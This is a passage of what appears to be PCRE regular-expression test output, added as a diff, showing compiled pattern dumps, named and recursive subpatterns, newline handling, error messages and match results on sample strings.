+------------------------------------------------------------------
+        Bra
+        \w*
+        \S
+        Ket
+        End
+------------------------------------------------------------------
+
+/\w*\w/BZ
+------------------------------------------------------------------
+        Bra
+        \w*
+        \w
+        Ket
+        End
+------------------------------------------------------------------
+
+/\w*\W/BZ
+------------------------------------------------------------------
+        Bra
+        \w*+
+        \W
+        Ket
+        End
+------------------------------------------------------------------
+
+/\W*a/BZ
+------------------------------------------------------------------
+        Bra
+        \W*+
+        a
+        Ket
+        End
+------------------------------------------------------------------
+
+/\W*2/BZ
+------------------------------------------------------------------
+        Bra
+        \W*+
+        2
+        Ket
+        End
+------------------------------------------------------------------
+
+/\W*\d/BZ
+------------------------------------------------------------------
+        Bra
+        \W*+
+        \d
+        Ket
+        End
+------------------------------------------------------------------
+
+/\W*\D/BZ
+------------------------------------------------------------------
+        Bra
+        \W*
+        \D
+        Ket
+        End
+------------------------------------------------------------------
+
+/\W*\s/BZ
+------------------------------------------------------------------
+        Bra
+        \W*
+        \s
+        Ket
+        End
+------------------------------------------------------------------
+
+/\W*\S/BZ
+------------------------------------------------------------------
+        Bra
+        \W*
+        \S
+        Ket
+        End
+------------------------------------------------------------------
+
+/\W*\w/BZ
+------------------------------------------------------------------
+        Bra
+        \W*+
+        \w
+        Ket
+        End
+------------------------------------------------------------------
+
+/\W*\W/BZ
+------------------------------------------------------------------
+        Bra
+        \W*
+        \W
+        Ket
+        End
+------------------------------------------------------------------
+
+/[^a]+a/BZ
+------------------------------------------------------------------
+        Bra
+        [^a]++
+        a
+        Ket
+        End
+------------------------------------------------------------------
+
+/[^a]+a/BZi
+------------------------------------------------------------------
+        Bra
+        [^A]++
+     NC a
+        Ket
+        End
+------------------------------------------------------------------
+
+/[^a]+A/BZi
+------------------------------------------------------------------
+        Bra
+        [^A]++
+     NC A
+        Ket
+        End
+------------------------------------------------------------------
+
+/[^a]+b/BZ
+------------------------------------------------------------------
+        Bra
+        [^a]+
+        b
+        Ket
+        End
+------------------------------------------------------------------
+
+/[^a]+\d/BZ
+------------------------------------------------------------------
+        Bra
+        [^a]+
+        \d
+        Ket
+        End
+------------------------------------------------------------------
+
+/a*[^a]/BZ
+------------------------------------------------------------------
+        Bra
+        a*
+        [^a]
+        Ket
+        End
+------------------------------------------------------------------
+
+/(?P<abc>x)(?P<xyz>y)/I
+Capturing subpattern count = 2
+Named capturing subpatterns:
+  abc   1
+  xyz   2
+No options
+First char = 'x'
+Need char = 'y'
+    xy\Cabc\Cxyz
+ 0: xy
+ 1: x
+ 2: y
+  C x (1) abc
+  C y (1) xyz
+
+/(?<abc>x)(?'xyz'y)/I
+Capturing subpattern count = 2
+Named capturing subpatterns:
+  abc   1
+  xyz   2
+No options
+First char = 'x'
+Need char = 'y'
+    xy\Cabc\Cxyz
+ 0: xy
+ 1: x
+ 2: y
+  C x (1) abc
+  C y (1) xyz
+
+/(?<abc'x)(?'xyz'y)/I
+Failed: syntax error in subpattern name (missing terminator) at offset 6
+
+/(?<abc>x)(?'xyz>y)/I
+Failed: syntax error in subpattern name (missing terminator) at offset 15
+
+/(?P'abc'x)(?P<xyz>y)/I
+Failed: unrecognized character after (?P at offset 3
+
+/^(?:(?(ZZ)a|b)(?<ZZ>X))+/
+    bXaX
+ 0: bXaX
+ 1: X
+    bXbX
+ 0: bX
+ 1: X
+    ** Failers
+No match
+    aXaX
+No match
+    aXbX
+No match
+
+/^(?P>abc)(?<abcd>xxx)/
+Failed: reference to non-existent subpattern at offset 8
+
+/^(?P>abc)(?<abc>x|y)/
+    xx
+ 0: xx
+ 1: x
+    xy
+ 0: xy
+ 1: y
+    yy
+ 0: yy
+ 1: y
+    yx
+ 0: yx
+ 1: x
+
+/^(?P>abc)(?P<abc>x|y)/
+    xx
+ 0: xx
+ 1: x
+    xy
+ 0: xy
+ 1: y
+    yy
+ 0: yy
+ 1: y
+    yx
+ 0: yx
+ 1: x
+
+/^((?(abc)a|b)(?<abc>x|y))+/
+    bxay
+ 0: bxay
+ 1: ay
+ 2: y
+    bxby
+ 0: bx
+ 1: bx
+ 2: x
+    ** Failers
+No match
+    axby
+No match
+
+/^(((?P=abc)|X)(?<abc>x|y))+/
+    XxXxxx
+ 0: XxXxxx
+ 1: xx
+ 2: x
+ 3: x
+    XxXyyx
+ 0: XxXyyx
+ 1: yx
+ 2: y
+ 3: x
+    XxXyxx
+ 0: XxXy
+ 1: Xy
+ 2: X
+ 3: y
+    ** Failers
+No match
+    x
+No match
+
+/^(?1)(abc)/
+    abcabc
+ 0: abcabc
+ 1: abc
+
+/^(?:(?:\1|X)(a|b))+/
+    Xaaa
+ 0: Xaaa
+ 1: a
+    Xaba
+ 0: Xa
+ 1: a
+
+/^[\E\Qa\E-\Qz\E]+/BZ
+------------------------------------------------------------------
+        Bra
+        ^
+        [a-z]+
+        Ket
+        End
+------------------------------------------------------------------
+
+/^[a\Q]bc\E]/BZ
+------------------------------------------------------------------
+        Bra
+        ^
+        [\]a-c]
+        Ket
+        End
+------------------------------------------------------------------
+
+/^[a-\Q\E]/BZ
+------------------------------------------------------------------
+        Bra
+        ^
+        [\-a]
+        Ket
+        End
+------------------------------------------------------------------
+
+/^(?P>abc)[()](?<abc>)/BZ
+------------------------------------------------------------------
+        Bra
+        ^
+        Once
+        Recurse
+        Ket
+        [()]
+        CBra 1
+        Ket
+        Ket
+        End
+------------------------------------------------------------------
+
+/^((?(abc)y)[()](?P<abc>x))+/BZ
+------------------------------------------------------------------
+        Bra
+        ^
+        CBra 1
+        Cond
+      2 Cond ref
+        y
+        Ket
+        [()]
+        CBra 2
+        x
+        Ket
+        KetRmax
+        Ket
+        End
+------------------------------------------------------------------
+    (xy)x
+ 0: (xy)x
+ 1: y)x
+ 2: x
+
+/^(?P>abc)\Q()\E(?<abc>)/BZ
+------------------------------------------------------------------
+        Bra
+        ^
+        Once
+        Recurse
+        Ket
+        ()
+        CBra 1
+        Ket
+        Ket
+        End
+------------------------------------------------------------------
+
+/^(?P>abc)[a\Q(]\E(](?<abc>)/BZ
+------------------------------------------------------------------
+        Bra
+        ^
+        Once
+        Recurse
+        Ket
+        [(\]a]
+        CBra 1
+        Ket
+        Ket
+        End
+------------------------------------------------------------------
+
+/^(?P>abc) # this is (a comment)
+  (?<abc>)/BZx
+------------------------------------------------------------------
+        Bra
+        ^
+        Once
+        Recurse
+        Ket
+        CBra 1
+        Ket
+        Ket
+        End
+------------------------------------------------------------------
+
+/^\W*(?:(?<one>(?<two>.)\W*(?&one)\W*\k<two>|)|(?<three>(?<four>.)\W*(?&three)\W*\k'four'|\W*.\W*))\W*$/Ii
+Capturing subpattern count = 4
+Max back reference = 4
+Named capturing subpatterns:
+  four    4
+  one     1
+  three   3
+  two     2
+Partial matching not supported
+Options: anchored caseless
+No first char
+No need char
+    1221
+ 0: 1221
+ 1: 1221
+ 2: 1
+    Satan, oscillate my metallic sonatas!
+ 0: Satan, oscillate my metallic sonatas!
+ 1: <unset>
+ 2: <unset>
+ 3: Satan, oscillate my metallic sonatas
+ 4: S
+    A man, a plan, a canal: Panama!
+ 0: A man, a plan, a canal: Panama!
+ 1: <unset>
+ 2: <unset>
+ 3: A man, a plan, a canal: Panama
+ 4: A
+    Able was I ere I saw Elba.
+ 0: Able was I ere I saw Elba.
+ 1: <unset>
+ 2: <unset>
+ 3: Able was I ere I saw Elba
+ 4: A
+    *** Failers
+No match
+    The quick brown fox
+No match
+
+/(?=(\w+))\1:/I
+Capturing subpattern count = 1
+Max back reference = 1
+Partial matching not supported
+No options
+No first char
+Need char = ':'
+    abcd:
+ 0: abcd:
+ 1: abcd
+
+/(?=(?'abc'\w+))\k<abc>:/I
+Capturing subpattern count = 1
+Max back reference = 1
+Named capturing subpatterns:
+  abc   1
+Partial matching not supported
+No options
+No first char
+Need char = ':'
+    abcd:
+ 0: abcd:
+ 1: abcd
+
+/(?'abc'\w+):\k<abc>{2}/
+    a:aaxyz
+ 0: a:aa
+ 1: a
+    ab:ababxyz
+ 0: ab:abab
+ 1: ab
+    ** Failers
+No match
+    a:axyz
+No match
+    ab:abxyz
+No match
+
+/(?'abc'a|b)(?<abc>d|e)\k<abc>{2}/J
+    adaa
+ 0: adaa
+ 1: a
+ 2: d
+    ** Failers
+No match
+    addd
+No match
+    adbb
+No match
+
+/(?'abc'a|b)(?<abc>d|e)(?&abc){2}/J
+    bdaa
+ 0: bdaa
+ 1: b
+ 2: d
+    bdab
+ 0: bdab
+ 1: b
+ 2: d
+    ** Failers
+No match
+    bddd
+No match
+
+/^(?<ab>a)? (?(<ab>)b|c) (?('ab')d|e)/x
+    abd
+ 0: abd
+ 1: a
+    ce
+ 0: ce
+
+/(?(<bc))/
+Failed: malformed number or name after (?( at offset 6
+
+/(?(''))/
+Failed: assertion expected after (?( at offset 4
+
+/(?('R')stuff)/
+Failed: reference to non-existent subpattern at offset 7
+
+/((abc (?(R) (?(R1)1) (?(R2)2) X  |  (?1)  (?2)   (?R) ))) /x
+    abcabc1Xabc2XabcXabcabc
+ 0: abcabc1Xabc2XabcX
+ 1: abcabc1Xabc2XabcX
+ 2: abcabc1Xabc2XabcX
+
+/(?<A> (?'B' abc (?(R) (?(R&A)1) (?(R&B)2) X  |  (?1)  (?2)   (?R) ))) /x
+    abcabc1Xabc2XabcXabcabc
+ 0: abcabc1Xabc2XabcX
+ 1: abcabc1Xabc2XabcX
+ 2: abcabc1Xabc2XabcX
+
+/(?<A> (?'B' abc (?(R) (?(R&1)1) (?(R&B)2) X  |  (?1)  (?2)   (?R) ))) /x
+Failed: reference to non-existent subpattern at offset 29
+
+/(?<1> (?'B' abc (?(R) (?(R&1)1) (?(R&B)2) X  |  (?1)  (?2)   (?R) ))) /x
+    abcabc1Xabc2XabcXabcabc
+ 0: abcabc1Xabc2XabcX
+ 1: abcabc1Xabc2XabcX
+ 2: abcabc1Xabc2XabcX
+
+/^(?(DEFINE) (?<A> a) (?<B> b) )  (?&A) (?&B) /x
+    abcd
+ 0: ab
+ 1: <unset>
+ 2: <unset>
+
+/(?<NAME>(?&NAME_PAT))\s+(?<ADDR>(?&ADDRESS_PAT))
+  (?(DEFINE)
+  (?<NAME_PAT>[a-z]+)
+  (?<ADDRESS_PAT>\d+)
+  )/x
+    metcalfe 33
+ 0: metcalfe 33
+ 1: metcalfe
+ 2: 33
+ 3: <unset>
+ 4: <unset>
+
+/^(?(DEFINE) abc | xyz ) /x
+Failed: DEFINE group contains more than one branch at offset 22
+
+/(?(DEFINE) abc) xyz/xI
+Capturing subpattern count = 0
+Options: extended
+First char = 'x'
+Need char = 'z'
+
+/(?(DEFINE) abc){3} xyz/x
+Failed: repeating a DEFINE group is not allowed at offset 17
+
+/(a|)*\d/
+  \O0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+No match
+  \O0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4
+Matched, but too many substrings
+
+/^a.b/<lf>
+    a\rb
+ 0: a\x0db
+    a\nb\<cr>
+ 0: a\x0ab
+    a\x85b\<anycrlf> 
+ 0: a\x85b
+    ** Failers
+No match
+    a\nb
+No match
+    a\nb\<any>
+No match
+    a\rb\<cr>
+No match
+    a\rb\<any>
+No match
+    a\x85b\<any> 
+No match
+    a\rb\<anycrlf>
+No match
+
+/^abc./mgx<any>
+    abc1 \x0aabc2 \x0babc3xx \x0cabc4 \x0dabc5xx \x0d\x0aabc6 \x85abc7 JUNK
+ 0: abc1
+ 0: abc2
+ 0: abc3
+ 0: abc4
+ 0: abc5
+ 0: abc6
+ 0: abc7
+
+/abc.$/mgx<any>
+    abc1\x0a abc2\x0b abc3\x0c abc4\x0d abc5\x0d\x0a abc6\x85 abc7 abc9
+ 0: abc1
+ 0: abc2
+ 0: abc3
+ 0: abc4
+ 0: abc5
+ 0: abc6
+ 0: abc9
+
+/a/<cr><any>
+
+/a/<any><crlf>
+Failed: inconsistent NEWLINE options at offset 0
+
+/^a\Rb/<bsr_unicode>
+    a\nb
+ 0: a\x0ab
+    a\rb
+ 0: a\x0db
+    a\r\nb
+ 0: a\x0d\x0ab
+    a\x0bb
+ 0: a\x0bb
+    a\x0cb
+ 0: a\x0cb
+    a\x85b
+ 0: a\x85b
+    ** Failers
+No match
+    a\n\rb
+No match
+
+/^a\R*b/<bsr_unicode>
+    ab
+ 0: ab
+    a\nb
+ 0: a\x0ab
+    a\rb
+ 0: a\x0db
+    a\r\nb
+ 0: a\x0d\x0ab
+    a\x0bb
+ 0: a\x0bb
+    a\x0cb
+ 0: a\x0cb
+    a\x85b
+ 0: a\x85b
+    a\n\rb
+ 0: a\x0a\x0db
+    a\n\r\x85\x0cb
+ 0: a\x0a\x0d\x85\x0cb
+
+/^a\R+b/<bsr_unicode>
+    a\nb
+ 0: a\x0ab
+    a\rb
+ 0: a\x0db
+    a\r\nb
+ 0: a\x0d\x0ab
+    a\x0bb
+ 0: a\x0bb
+    a\x0cb
+ 0: a\x0cb
+    a\x85b
+ 0: a\x85b
+    a\n\rb
+ 0: a\x0a\x0db
+    a\n\r\x85\x0cb
+ 0: a\x0a\x0d\x85\x0cb
+    ** Failers
+No match
+    ab
+No match
+
+/^a\R{1,3}b/<bsr_unicode>
+    a\nb
+ 0: a\x0ab
+    a\n\rb
+ 0: a\x0a\x0db
+    a\n\r\x85b
+ 0: a\x0a\x0d\x85b
+    a\r\n\r\nb
+ 0: a\x0d\x0a\x0d\x0ab
+    a\r\n\r\n\r\nb
+ 0: a\x0d\x0a\x0d\x0a\x0d\x0ab
+    a\n\r\n\rb
+ 0: a\x0a\x0d\x0a\x0db
+    a\n\n\r\nb
+ 0: a\x0a\x0a\x0d\x0ab
+    ** Failers
+No match
+    a\n\n\n\rb
+No match
+    a\r
+No match
+
+/^a[\R]b/<bsr_unicode>
+    aRb
+ 0: aRb
+    ** Failers
+No match
+    a\nb
+No match
+
+/(?&abc)X(?<abc>P)/I
+Capturing subpattern count = 1
+Named capturing subpatterns:
+  abc   1
+No options
+No first char
+Need char = 'P'
+    abcPXP123
+ 0: PXP
+ 1: P
+
+/(?1)X(?<abc>P)/I
+Capturing subpattern count = 1
+Named capturing subpatterns:
+  abc   1
+No options
+No first char
+Need char = 'P'
+    abcPXP123
+ 0: PXP
+ 1: P
+
+/(?(DEFINE)(?<byte>2[0-4]\d|25[0-5]|1\d\d|[1-9]?\d))\b(?&byte)(\.(?&byte)){3}/
+    1.2.3.4
+ 0: 1.2.3.4
+ 1: <unset>
+ 2: .4
+    131.111.10.206
+ 0: 131.111.10.206
+ 1: <unset>
+ 2: .206
+    10.0.0.0
+ 0: 10.0.0.0
+ 1: <unset>
+ 2: .0
+    ** Failers
+No match
+    10.6
+No match
+    455.3.4.5
+No match
+
+/\b(?&byte)(\.(?&byte)){3}(?(DEFINE)(?<byte>2[0-4]\d|25[0-5]|1\d\d|[1-9]?\d))/
+    1.2.3.4
+ 0: 1.2.3.4
+ 1: .4
+ 2: <unset>
+    131.111.10.206
+ 0: 131.111.10.206
+ 1: .206
+ 2: <unset>
+    10.0.0.0
+ 0: 10.0.0.0
+ 1: .0
+ 2: <unset>
+    ** Failers
+No match
+    10.6
+No match
+    455.3.4.5
+No match
+
+/(?:a(?&abc)b)*(?<abc>x)/
+    123axbaxbaxbx456
+ 0: axbaxbaxbx
+ 1: x
+    123axbaxbaxb456
+ 0: x
+ 1: x
+
+/(?:a(?&abc)b){1,5}(?<abc>x)/
+    123axbaxbaxbx456
+ 0: axbaxbaxbx
+ 1: x
+
+/(?:a(?&abc)b){2,5}(?<abc>x)/
+    123axbaxbaxbx456
+ 0: axbaxbaxbx
+ 1: x
+
+/(?:a(?&abc)b){2,}(?<abc>x)/
+    123axbaxbaxbx456
+ 0: axbaxbaxbx
+ 1: x
+
+/(abc)(?i:(?1))/
+   defabcabcxyz
+ 0: abcabc
+ 1: abc
+   DEFabcABCXYZ
+No match
+
+/(abc)(?:(?i)(?1))/
+   defabcabcxyz
+ 0: abcabc
+ 1: abc
+   DEFabcABCXYZ
+No match
+
+/^(a(b))\1\g1\g{1}\g-1\g{-1}\g{-02}Z/
+    ababababbbabZXXXX
+ 0: ababababbbabZ
+ 1: ab
+ 2: b
+
+/^(a)\g-2/
+Failed: reference to non-existent subpattern at offset 7
+
+/^(a)\g/
+Failed: a numbered reference must not be zero at offset 5
+
+/^(a)\g{0}/
+Failed: a numbered reference must not be zero at offset 8
+
+/^(a)\g{3/
+Failed: \g is not followed by a braced, angle-bracketed, or quoted name/number or by a plain number at offset 8
+
+/^(a)\g{4a}/
+Failed: reference to non-existent subpattern at offset 9
+
+/^a.b/<lf>
+    a\rb
+ 0: a\x0db
+    *** Failers
+No match
+    a\nb
+No match
+
+/.+foo/
+    afoo
+ 0: afoo
+    ** Failers
+No match
+    \r\nfoo
+No match
+    \nfoo
+No match
+
+/.+foo/<crlf>
+    afoo
+ 0: afoo
+    \nfoo
+ 0: \x0afoo
+    ** Failers
+No match
+    \r\nfoo
+No match
+
+/.+foo/<any>
+    afoo
+ 0: afoo
+    ** Failers
+No match
+    \nfoo
+No match
+    \r\nfoo
+No match
+
+/.+foo/s
+    afoo
+ 0: afoo
+    \r\nfoo
+ 0: \x0d\x0afoo
+    \nfoo
+ 0: \x0afoo
+    
+/^$/mg<any>
+    abc\r\rxyz
+ 0: 
+    abc\n\rxyz  
+ 0: 
+    ** Failers 
+No match
+    abc\r\nxyz
+No match
+
+/(?m)^$/<any>g+
+    abc\r\n\r\n
+ 0: 
+ 0+ \x0d\x0a
+
+/(?m)^$|^\r\n/<any>g+ 
+    abc\r\n\r\n
+ 0: 
+ 0+ \x0d\x0a
+ 0: \x0d\x0a
+ 0+ 
+    
+/(?m)$/<any>g+ 
+    abc\r\n\r\n
+ 0: 
+ 0+ \x0d\x0a\x0d\x0a
+ 0: 
+ 0+ \x0d\x0a
+ 0: 
+ 0+ 
+
+/abc.$/mgx<anycrlf>
+    abc1\x0a abc2\x0b abc3\x0c abc4\x0d abc5\x0d\x0a abc6\x85 abc9
+ 0: abc1
+ 0: abc4
+ 0: abc5
+ 0: abc9
+
+/^X/m
+    XABC
+ 0: X
+    ** Failers 
+No match
+    XABC\B
+No match
+
+/(ab|c)(?-1)/BZ
+------------------------------------------------------------------
+        Bra
+        CBra 1
+        ab
+        Alt
+        c
+        Ket
+        Once
+        Recurse
+        Ket
+        Ket
+        End
+------------------------------------------------------------------
+    abc
+ 0: abc
+ 1: ab
+
+/xy(?+1)(abc)/BZ
+------------------------------------------------------------------
+        Bra
+        xy
+        Once
+        Recurse
+        Ket
+        CBra 1
+        abc
+        Ket
+        Ket
+        End
+------------------------------------------------------------------
+    xyabcabc
+ 0: xyabcabc
+ 1: abc
+    ** Failers
+No match
+    xyabc  
+No match
+    
+/x(?-0)y/
+Failed: a numbered reference must not be zero at offset 5
+
+/x(?-1)y/
+Failed: reference to non-existent subpattern at offset 5
+
+/x(?+0)y/ 
+Failed: a numbered reference must not be zero at offset 5
+
+/x(?+1)y/
+Failed: reference to non-existent subpattern at offset 5
+
+/^(abc)?(?(-1)X|Y)/BZ
+------------------------------------------------------------------
+        Bra
+        ^
+        Brazero
+        CBra 1
+        abc
+        Ket
+        Cond
+      1 Cond ref
+        X
+        Alt
+        Y
+        Ket
+        Ket
+        End
+------------------------------------------------------------------
+    abcX
+ 0: abcX
+ 1: abc
+    Y
+ 0: Y
+    ** Failers
+No match
+    abcY   
+No match
+    
+/^((?(+1)X|Y)(abc))+/BZ 
+------------------------------------------------------------------
+        Bra
+        ^
+        CBra 1
+        Cond
+      2 Cond ref
+        X
+        Alt
+        Y
+        Ket
+        CBra 2
+        abc
+        Ket
+        KetRmax
+        Ket
+        End
+------------------------------------------------------------------
+    YabcXabc
+ 0: YabcXabc
+ 1: Xabc
+ 2: abc
+    YabcXabcXabc
+ 0: YabcXabcXabc
+ 1: Xabc
+ 2: abc
+    ** Failers
+No match
+    XabcXabc  
+No match
+
+/(?(-1)a)/BZ
+Failed: reference to non-existent subpattern at offset 6
+
+/((?(-1)a))/BZ
+------------------------------------------------------------------
+        Bra
+        CBra 1
+        Cond
+      1 Cond ref
+        a
+        Ket
+        Ket
+        Ket
+        End
+------------------------------------------------------------------
+
+/((?(-2)a))/BZ
+Failed: reference to non-existent subpattern at offset 7
+
+/^(?(+1)X|Y)(.)/BZ
+------------------------------------------------------------------
+        Bra
+        ^
+        Cond
+      1 Cond ref
+        X
+        Alt
+        Y
+        Ket
+        CBra 1
+        Any
+        Ket
+        Ket
+        End
+------------------------------------------------------------------
+    Y!
+ 0: Y!
+ 1: !
+
+/(foo)\Kbar/
+    foobar
+ 0: bar
+ 1: foo
+   
+/(foo)(\Kbar|baz)/
+    foobar
+ 0: bar
+ 1: foo
+ 2: bar
+    foobaz 
+ 0: foobaz
+ 1: foo
+ 2: baz
+
+/(foo\Kbar)baz/
+    foobarbaz
+ 0: barbaz
+ 1: foobar
+
+/(?<A>tom|bon)-\k{A}/
+    tom-tom
+ 0: tom-tom
+ 1: tom
+    bon-bon 
+ 0: bon-bon
+ 1: bon
+    ** Failers
+No match
+    tom-bon  
+No match
+
+/(?<A>tom|bon)-\g{A}/
+    tom-tom
+ 0: tom-tom
+ 1: tom
+    bon-bon 
+ 0: bon-bon
+ 1: bon
+    
+/\g{A/ 
+Failed: syntax error in subpattern name (missing terminator) at offset 4
+
+/(?|(abc)|(xyz))/BZ
+------------------------------------------------------------------
+        Bra
+        Bra
+        CBra 1
+        abc
+        Ket
+        Alt
+        CBra 1
+        xyz
+        Ket
+        Ket
+        Ket
+        End
+------------------------------------------------------------------
+   >abc<
+ 0: abc
+ 1: abc
+   >xyz< 
+ 0: xyz
+ 1: xyz
+
+/(x)(?|(abc)|(xyz))(x)/BZ
+------------------------------------------------------------------
+        Bra
+        CBra 1
+        x
+        Ket
+        Bra
+        CBra 2
+        abc
+        Ket
+        Alt
+        CBra 2
+        xyz
+        Ket
+        Ket
+        CBra 3
+        x
+        Ket
+        Ket
+        End
+------------------------------------------------------------------
+    xabcx
+ 0: xabcx
+ 1: x
+ 2: abc
+ 3: x
+    xxyzx 
+ 0: xxyzx
+ 1: x
+ 2: xyz
+ 3: x
+
+/(x)(?|(abc)(pqr)|(xyz))(x)/BZ
+------------------------------------------------------------------
+        Bra
+        CBra 1
+        x
+        Ket
+        Bra
+        CBra 2
+        abc
+        Ket
+        CBra 3
+        pqr
+        Ket
+        Alt
+        CBra 2
+        xyz
+        Ket
+        Ket
+        CBra 4
+        x
+        Ket
+        Ket
+        End
+------------------------------------------------------------------
+    xabcpqrx
+ 0: xabcpqrx
+ 1: x
+ 2: abc
+ 3: pqr
+ 4: x
+    xxyzx 
+ 0: xxyzx
+ 1: x
+ 2: xyz
+ 3: <unset>
+ 4: x
+
+/(?|(abc)|(xyz))\1/
+    abcabc
+ 0: abcabc
+ 1: abc
+    xyzxyz 
+ 0: xyzxyz
+ 1: xyz
+    ** Failers
+No match
+    abcxyz
+No match
+    xyzabc   
+No match
+    
+/(?|(abc)|(xyz))(?1)/
+    abcabc
+ 0: abcabc
+ 1: abc
+    xyzabc 
+ 0: xyzabc
+ 1: xyz
+    ** Failers 
+No match
+    xyzxyz 
+No match
+ 
+/\H\h\V\v/
+    X X\x0a
+ 0: X X\x0a
+    X\x09X\x0b
+ 0: X\x09X\x0b
+    ** Failers
+No match
+    \xa0 X\x0a   
+No match
+    
+/\H*\h+\V?\v{3,4}/ 
+    \x09\x20\xa0X\x0a\x0b\x0c\x0d\x0a
+ 0: \x09 \xa0X\x0a\x0b\x0c\x0d
+    \x09\x20\xa0\x0a\x0b\x0c\x0d\x0a
+ 0: \x09 \xa0\x0a\x0b\x0c\x0d
+    \x09\x20\xa0\x0a\x0b\x0c
+ 0: \x09 \xa0\x0a\x0b\x0c
+    ** Failers 
+No match
+    \x09\x20\xa0\x0a\x0b
+No match
+     
+/\H{3,4}/
+    XY  ABCDE
+ 0: ABCD
+    XY  PQR ST 
+ 0: PQR
+    
+/.\h{3,4}./
+    XY  AB    PQRS
+ 0: B    P
+
+/\h*X\h?\H+Y\H?Z/
+    >XNNNYZ
+ 0: XNNNYZ
+    >  X NYQZ
+ 0:   X NYQZ
+    ** Failers
+No match
+    >XYZ   
+No match
+    >  X NY Z
+No match
+
+/\v*X\v?Y\v+Z\V*\x0a\V+\x0b\V{2,3}\x0c/
+    >XY\x0aZ\x0aA\x0bNN\x0c
+ 0: XY\x0aZ\x0aA\x0bNN\x0c
+    >\x0a\x0dX\x0aY\x0a\x0bZZZ\x0aAAA\x0bNNN\x0c
+ 0: \x0a\x0dX\x0aY\x0a\x0bZZZ\x0aAAA\x0bNNN\x0c
+
+/[\h]/BZ
+------------------------------------------------------------------
+        Bra
+        [\x09 \xa0]
+        Ket
+        End
+------------------------------------------------------------------
+    >\x09<
+ 0: \x09
+
+/[\h]+/BZ
+------------------------------------------------------------------
+        Bra
+        [\x09 \xa0]+
+        Ket
+        End
+------------------------------------------------------------------
+    >\x09\x20\xa0<
+ 0: \x09 \xa0
+
+/[\v]/BZ
+------------------------------------------------------------------
+        Bra
+        [\x0a-\x0d\x85]
+        Ket
+        End
+------------------------------------------------------------------
+
+/[\H]/BZ
+------------------------------------------------------------------
+        Bra
+        [\x00-\x08\x0a-\x1f!-\x9f\xa1-\xff]
+        Ket
+        End
+------------------------------------------------------------------
+
+/[^\h]/BZ
+------------------------------------------------------------------
+        Bra
+        [\x00-\x08\x0a-\x1f!-\x9f\xa1-\xff] (neg)
+        Ket
+        End
+------------------------------------------------------------------
+
+/[\V]/BZ
+------------------------------------------------------------------
+        Bra
+        [\x00-\x09\x0e-\x84\x86-\xff]
+        Ket
+        End
+------------------------------------------------------------------
+
+/[\x0a\V]/BZ
+------------------------------------------------------------------
+        Bra
+        [\x00-\x0a\x0e-\x84\x86-\xff]
+        Ket
+        End
+------------------------------------------------------------------
+
+/\H++X/BZ
+------------------------------------------------------------------
+        Bra
+        \H++
+        X
+        Ket
+        End
+------------------------------------------------------------------
+    ** Failers
+No match
+    XXXX
+No match
+    
+/\H+\hY/BZ
+------------------------------------------------------------------
+        Bra
+        \H++
+        \h
+        Y
+        Ket
+        End
+------------------------------------------------------------------
+    XXXX Y 
+ 0: XXXX Y
+
+/\H+ Y/BZ
+------------------------------------------------------------------
+        Bra
+        \H++
+         Y
+        Ket
+        End
+------------------------------------------------------------------
+
+/\h+A/BZ
+------------------------------------------------------------------
+        Bra
+        \h++
+        A
+        Ket
+        End
+------------------------------------------------------------------
+
+/\v*B/BZ
+------------------------------------------------------------------
+        Bra
+        \v*+
+        B
+        Ket
+        End
+------------------------------------------------------------------
+
+/\V+\x0a/BZ
+------------------------------------------------------------------
+        Bra
+        \V++
+        \x0a
+        Ket
+        End
+------------------------------------------------------------------
+
+/A+\h/BZ
+------------------------------------------------------------------
+        Bra
+        A++
+        \h
+        Ket
+        End
+------------------------------------------------------------------
+
+/ *\H/BZ
+------------------------------------------------------------------
+        Bra
+         *+
+        \H
+        Ket
+        End
+------------------------------------------------------------------
+
+/A*\v/BZ
+------------------------------------------------------------------
+        Bra
+        A*+
+        \v
+        Ket
+        End
+------------------------------------------------------------------
+
+/\x0b*\V/BZ
+------------------------------------------------------------------
+        Bra
+        \x0b*+
+        \V
+        Ket
+        End
+------------------------------------------------------------------
+
+/\d+\h/BZ
+------------------------------------------------------------------
+        Bra
+        \d++
+        \h
+        Ket
+        End
+------------------------------------------------------------------
+
+/\d*\v/BZ
+------------------------------------------------------------------
+        Bra
+        \d*+
+        \v
+        Ket
+        End
+------------------------------------------------------------------
+
+/S+\h\S+\v/BZ
+------------------------------------------------------------------
+        Bra
+        S++
+        \h
+        \S++
+        \v
+        Ket
+        End
+------------------------------------------------------------------
+
+/\w{3,}\h\w+\v/BZ
+------------------------------------------------------------------
+        Bra
+        \w{3}
+        \w*+
+        \h
+        \w++
+        \v
+        Ket
+        End
+------------------------------------------------------------------
+
+/\h+\d\h+\w\h+\S\h+\H/BZ
+------------------------------------------------------------------
+        Bra
+        \h++
+        \d
+        \h++
+        \w
+        \h++
+        \S
+        \h++
+        \H
+        Ket
+        End
+------------------------------------------------------------------
+
+/\v+\d\v+\w\v+\S\v+\V/BZ
+------------------------------------------------------------------
+        Bra
+        \v++
+        \d
+        \v++
+        \w
+        \v+
+        \S
+        \v++
+        \V
+        Ket
+        End
+------------------------------------------------------------------
+
+/\H+\h\H+\d/BZ
+------------------------------------------------------------------
+        Bra
+        \H++
+        \h
+        \H+
+        \d
+        Ket
+        End
+------------------------------------------------------------------
+
+/\V+\v\V+\w/BZ
+------------------------------------------------------------------
+        Bra
+        \V++
+        \v
+        \V+
+        \w
+        Ket
+        End
+------------------------------------------------------------------
+
+/\( (?: [^()]* | (?R) )* \)/x
